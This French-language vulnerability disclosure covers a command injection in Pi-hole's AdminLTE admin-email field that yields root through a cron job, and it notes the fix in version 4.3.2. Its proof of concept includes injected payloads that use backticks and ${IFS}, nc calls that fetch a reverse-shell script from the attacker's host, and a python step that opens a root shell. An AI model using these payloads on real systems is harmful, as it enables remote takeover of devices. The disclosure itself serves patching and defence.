
Pi-Hole version 4.3.2 contient un correctif pour cette vulnérabilité : https://github.com/pi-hole/AdminLTE/pull/974
Un grand merci à l'équipe de développement de Pi-Hole pour leur projet génial et pour avoir rendu le signalement de cette vulnérabilité si simple !
Il est possible d'obtenir à distance un accès root sur l'appareil Raspberry Pi (ou sur tout autre appareil/VM où l'application est exécutée) grâce aux vulnérabilités décrites du composant « AdminLTE ». Des accès/identifiants administratifs à l'interface web AdminLTE sont nécessaires pour exploiter cette vulnérabilité.
Plus précisément, il est possible de contourner les contrôles par expressions régulières et d'insérer des commandes arbitraires dans le champ « Adresse e-mail de l'administrateur ». Ces commandes sont ensuite stockées dans « /etc/pihole/setupVars.conf », puis analysées et exécutées avec les privilèges root par la tâche cron.d de 10 minutes « /usr/local/bin/pihole updatechecker local ».
Un attaquant doit attendre l'intervalle de 10 minutes de la tâche cron « /etc/cron.d/pihole » pour que l'exécution de la commande/du code ait lieu.
Espérons que les détails et la preuve de concept (PoC) suivants vous aideront à valider et à reproduire le problème.
Une fois authentifié sur l'application web, l'attaquant doit contourner quelques validations côté serveur pour injecter une commande avec succès.
Dans « savesettings.php » L:499, une variable contrôlée par l'utilisateur, « $adminemail », est évaluée par la fonction PHP interne FILTER_VALIDATE_EMAIL dont les vérifications sont relativement faibles.
Il est alors possible de contourner ce contrôle de validation et de prouver l'injection de commande en plaçant simplement des backticks entre guillemets doubles, par exemple en saisissant ce qui suit comme adresse e-mail de l'administrateur :
"`test>/tmp/poc_proof.txt`"@example.com

En l'espace de 10 minutes, un fichier appartenant à root contenant « test » sera créé dans « /tmp/poc_proof.txt » avec les privilèges root.

Pour mener d'autres attaques significatives, il faut également contourner la limitation des espaces (qui ne sont pas des caractères valides pour une adresse e-mail et sont rejetés par la fonction FILTER_VALIDATE_EMAIL). Pour cela, la variable Linux interne ${IFS} a été utilisée (qui, par défaut, correspond à un espace dans la plupart des systèmes d'exploitation Unix).
PoC :
*Remarque : cela peut être automatisé sur une seule ligne en utilisant la grammaire du shell POSIX, c.-à-d. &&, || ...
nc -nvlp 4444 < revshell.py
"`nc${IFS}192.168.1.69${IFS}4444>/tmp/revshell.py`"@example.com

La requête HTTP ressemblera à ceci lorsqu'elle est examinée avec un proxy HTTP :

Attendez 10 minutes que la tâche cron s'exécute et récupère le script, ou, à des fins de reproduction, exécutez manuellement /usr/local/bin/pihole updatechecker local. Vous pouvez également vérifier la commande injectée présente dans « /etc/pihole/setupVars.conf » (assignée à la variable ADMIN_EMAIL)
nc -nvlp 4445
“`python${IFS}/tmp/revshell.py`”@example.com
Attendez à nouveau 10 minutes (ou exécutez manuellement le script cron pour reproduire le problème) et vous obtiendrez un shell root sur votre machine d'attaque.
